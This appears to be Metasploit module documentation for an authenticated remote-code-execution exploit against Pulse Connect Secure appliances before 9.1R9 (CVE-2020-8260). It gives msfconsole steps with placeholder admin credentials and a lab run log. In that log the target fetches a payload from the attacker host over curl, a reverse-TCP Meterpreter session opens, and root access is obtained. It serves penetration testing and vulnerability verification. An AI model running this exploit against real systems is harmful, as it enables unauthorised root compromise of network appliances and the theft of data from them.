## Vulnerable Application

The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability which allows an authenticated attacker
to overwrite arbitrary files, resulting in Remote Code Execution as root. Admin credentials are required for successful exploitation.

NCC Group [wrote](https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/)
in their findings a few different ways to achieve RCE through the gzip vulnerability. This exploit utilizes the Template Toolkit method
which works up to 9.1R8 (possibly more), whereas the other methods were patched earlier.  With this method, since the payload is sent in the perl
template, there are also no bad characters.

Of note, MANY binaries are not in `$PATH`, but are located in `/home/bin/`.  Thanks to @wvu for pointing that out.

Pulse Secure Connect trial can be downloaded [here](https://www.pulsesecure.net/trynow/pulse-connect-secure/).

## Verification Steps

1. Install the server
1. Start msfconsole
1. Do: `use exploit/linux/http/pulse_secure_gzip_rce`
1. Do: `set rhosts [IP]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a root shell

## Options

### cmd

If this option is set, a single command will be run instead of the payload. Defaults to `` (empty)

## Scenarios

### Pulse Connect Secure 9.1R8 build 7453, Meterpreter Payload

```
msf > use exploit/linux/http/pulse_secure_gzip_rce 
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf exploit(linux/http/pulse_secure_gzip_rce) > set RHOSTS 192.168.159.100
RHOSTS => 192.168.159.100
msf exploit(linux/http/pulse_secure_gzip_rce) > set USERNAME admin
USERNAME => admin
msf exploit(linux/http/pulse_secure_gzip_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf exploit(linux/http/pulse_secure_gzip_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(linux/http/pulse_secure_gzip_rce) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Version 9.1, revision 8, build 7453 found
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/m6x4OtFXogsSCK
[*] Local IP: http://192.168.250.87:8080/m6x4OtFXogsSCK
[*] Exploit trigger will be at /dana-na/auth/setcookie.cgi with a header of XLQOBGKB
[*] Requesting backup config page
[*] Uploading encrypted config backup
[*] Triggering RCE
[*] Client 192.168.159.100 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.3) requested /m6x4OtFXogsSCK
[*] Sending payload to 192.168.159.100 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.3)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.100:57548) at 2020-12-07 10:52:54 -0500
[*] Command Stager progress - 100.00% done (122/122 bytes)
[*] Logging out to prevent warnings to other admins
[*] Server stopped.

meterpreter > getuid
Server username: root @ localhost2 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 192.168.159.100
OS           :  (Linux 2.6.32-00025-g841d072-dirty)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
